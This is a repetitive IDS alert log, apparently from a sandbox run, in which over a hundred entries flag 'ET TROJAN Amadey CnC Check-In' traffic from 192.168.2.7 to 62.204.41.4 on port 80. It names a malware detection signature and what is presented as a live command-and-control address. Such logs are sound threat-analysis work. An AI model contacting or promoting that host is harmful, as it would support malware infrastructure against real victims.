Timestamp:	192.168.2.762.204.41.450054802027700 02/07/23-23:08:39.617227
SID:	2027700
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450184802027700 02/07/23-23:09:14.118143
SID:	2027700
Source Port:	50184
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450397802027700 02/07/23-23:10:08.575838
SID:	2027700
Source Port:	50397
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449893802027700 02/07/23-23:07:53.025577
SID:	2027700
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449922802027700 02/07/23-23:08:03.022275
SID:	2027700
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450369802027700 02/07/23-23:10:01.812383
SID:	2027700
Source Port:	50369
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450470802027700 02/07/23-23:10:28.297773
SID:	2027700
Source Port:	50470
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449851802027700 02/07/23-23:07:42.712679
SID:	2027700
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449804802027700 02/07/23-23:07:29.696240
SID:	2027700
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450227802027700 02/07/23-23:09:24.691350
SID:	2027700
Source Port:	50227
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450423802027700 02/07/23-23:10:14.904732
SID:	2027700
Source Port:	50423
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450061802027700 02/07/23-23:08:41.341687
SID:	2027700
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450274802027700 02/07/23-23:09:38.463286
SID:	2027700
Source Port:	50274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450070802027700 02/07/23-23:08:43.541726
SID:	2027700
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449794802027700 02/07/23-23:07:27.299792
SID:	2027700
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450073802027700 02/07/23-23:08:44.306614
SID:	2027700
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450156802027700 02/07/23-23:09:05.211996
SID:	2027700
Source Port:	50156
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449950802027700 02/07/23-23:08:09.942679
SID:	2027700
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449766802027700 02/07/23-23:07:19.651200
SID:	2027700
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450128802027700 02/07/23-23:08:58.335870
SID:	2027700
Source Port:	50128
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449775802027700 02/07/23-23:07:22.751531
SID:	2027700
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450468802027700 02/07/23-23:10:27.766831
SID:	2027700
Source Port:	50468
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449849802027700 02/07/23-23:07:42.221380
SID:	2027700
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450042802027700 02/07/23-23:08:36.263611
SID:	2027700
Source Port:	50042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450394802027700 02/07/23-23:10:07.826263
SID:	2027700
Source Port:	50394
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450312802027700 02/07/23-23:09:47.795938
SID:	2027700
Source Port:	50312
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450385802027700 02/07/23-23:10:05.658909
SID:	2027700
Source Port:	50385
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450303802027700 02/07/23-23:09:45.572466
SID:	2027700
Source Port:	50303
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450045802027700 02/07/23-23:08:37.461652
SID:	2027700
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450017802027700 02/07/23-23:08:28.743485
SID:	2027700
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450366802027700 02/07/23-23:10:01.065650
SID:	2027700
Source Port:	50366
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449747802027700 02/07/23-23:07:14.171173
SID:	2027700
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449877802027700 02/07/23-23:07:49.111852
SID:	2027700
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449712802027700 02/07/23-23:07:05.940453
SID:	2027700
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450283802027700 02/07/23-23:09:40.653335
SID:	2027700
Source Port:	50283
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450414802027700 02/07/23-23:10:12.687095
SID:	2027700
Source Port:	50414
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450201802027700 02/07/23-23:09:18.336544
SID:	2027700
Source Port:	50201
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450331802027700 02/07/23-23:09:52.497858
SID:	2027700
Source Port:	50331
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449896802027700 02/07/23-23:07:53.775433
SID:	2027700
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449915802027700 02/07/23-23:08:01.310915
SID:	2027700
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450163802027700 02/07/23-23:09:06.937703
SID:	2027700
Source Port:	50163
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449714802027700 02/07/23-23:07:06.440544
SID:	2027700
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449910802027700 02/07/23-23:08:00.070255
SID:	2027700
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449809802027700 02/07/23-23:07:30.882146
SID:	2027700
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450196802027700 02/07/23-23:09:17.107942
SID:	2027700
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450109802027700 02/07/23-23:08:53.586754
SID:	2027700
Source Port:	50109
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449773802027700 02/07/23-23:07:22.191273
SID:	2027700
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450137802027700 02/07/23-23:09:00.524989
SID:	2027700
Source Port:	50137
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450333802027700 02/07/23-23:09:52.974040
SID:	2027700
Source Port:	50333
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450305802027700 02/07/23-23:09:46.051156
SID:	2027700
Source Port:	50305
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450392802027700 02/07/23-23:10:07.350927
SID:	2027700
Source Port:	50392
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450210802027700 02/07/23-23:09:20.545993
SID:	2027700
Source Port:	50210
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449868802027700 02/07/23-23:07:46.881014
SID:	2027700
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450428802027700 02/07/23-23:10:16.360693
SID:	2027700
Source Port:	50428
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450191802027700 02/07/23-23:09:15.842999
SID:	2027700
Source Port:	50191
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449837802027700 02/07/23-23:07:38.971375
SID:	2027700
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450168802027700 02/07/23-23:09:09.197666
SID:	2027700
Source Port:	50168
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450165802027700 02/07/23-23:09:07.791157
SID:	2027700
Source Port:	50165
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450456802027700 02/07/23-23:10:24.827371
SID:	2027700
Source Port:	50456
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450300802027700 02/07/23-23:09:44.841607
SID:	2027700
Source Port:	50300
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449898802027700 02/07/23-23:07:54.273097
SID:	2027700
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449981802027700 02/07/23-23:08:19.921142
SID:	2027700
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449941802027700 02/07/23-23:08:07.714681
SID:	2027700
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450030802027700 02/07/23-23:08:31.914466
SID:	2027700
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450382802027700 02/07/23-23:10:04.927710
SID:	2027700
Source Port:	50382
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449763802027700 02/07/23-23:07:18.271872
SID:	2027700
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450315802027700 02/07/23-23:09:48.543330
SID:	2027700
Source Port:	50315
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449778802027700 02/07/23-23:07:23.476930
SID:	2027700
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449971802027700 02/07/23-23:08:15.502675
SID:	2027700
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450107802027700 02/07/23-23:08:53.058285
SID:	2027700
Source Port:	50107
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450459802027700 02/07/23-23:10:25.566570
SID:	2027700
Source Port:	50459
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450371802027700 02/07/23-23:10:02.294848
SID:	2027700
Source Port:	50371
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449752802027700 02/07/23-23:07:15.374110
SID:	2027700
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450241802027700 02/07/23-23:09:30.345222
SID:	2027700
Source Port:	50241
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449865802027700 02/07/23-23:07:46.144261
SID:	2027700
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450193802027700 02/07/23-23:09:16.370708
SID:	2027700
Source Port:	50193
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449735802027700 02/07/23-23:07:11.564677
SID:	2027700
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449913802027700 02/07/23-23:08:00.811571
SID:	2027700
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450063802027700 02/07/23-23:08:41.843313
SID:	2027700
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450213802027700 02/07/23-23:09:21.269831
SID:	2027700
Source Port:	50213
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450343802027700 02/07/23-23:09:55.462030
SID:	2027700
Source Port:	50343
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450354802027700 02/07/23-23:09:58.136933
SID:	2027700
Source Port:	50354
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449724802027700 02/07/23-23:07:08.827019
SID:	2027700
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449943802027700 02/07/23-23:08:08.214342
SID:	2027700
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450135802027700 02/07/23-23:09:00.033380
SID:	2027700
Source Port:	50135
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449964802027700 02/07/23-23:08:13.400472
SID:	2027700
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450298802027700 02/07/23-23:09:44.339809
SID:	2027700
Source Port:	50298
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450326802027700 02/07/23-23:09:51.276591
SID:	2027700
Source Port:	50326
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449707802027700 02/07/23-23:07:04.724651
SID:	2027700
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449768802027700 02/07/23-23:07:20.940206
SID:	2027700
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449875802027700 02/07/23-23:07:48.616862
SID:	2027700
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450142802027700 02/07/23-23:09:01.792842
SID:	2027700
Source Port:	50142
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450231802027700 02/07/23-23:09:25.697760
SID:	2027700
Source Port:	50231
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450387802027700 02/07/23-23:10:06.125158
SID:	2027700
Source Port:	50387
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449697802027700 02/07/23-23:07:01.357866
SID:	2027700
Source Port:	49697
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450308802027700 02/07/23-23:09:46.817930
SID:	2027700
Source Port:	50308
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450160802027700 02/07/23-23:09:06.194716
SID:	2027700
Source Port:	50160
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449992802027700 02/07/23-23:08:22.643209
SID:	2027700
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449918802027700 02/07/23-23:08:02.062414
SID:	2027700
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450059802027700 02/07/23-23:08:40.814145
SID:	2027700
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450237802027700 02/07/23-23:09:28.175009
SID:	2027700
Source Port:	50237
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449841802027700 02/07/23-23:07:40.291176
SID:	2027700
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449974802027700 02/07/23-23:08:17.631579
SID:	2027700
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450310802027700 02/07/23-23:09:47.315519
SID:	2027700
Source Port:	50310
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450203802027700 02/07/23-23:09:18.814519
SID:	2027700
Source Port:	50203
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449796802027700 02/07/23-23:07:27.783130
SID:	2027700
Source Port:	49796
Destination Port:	80
Protocol:	TCP
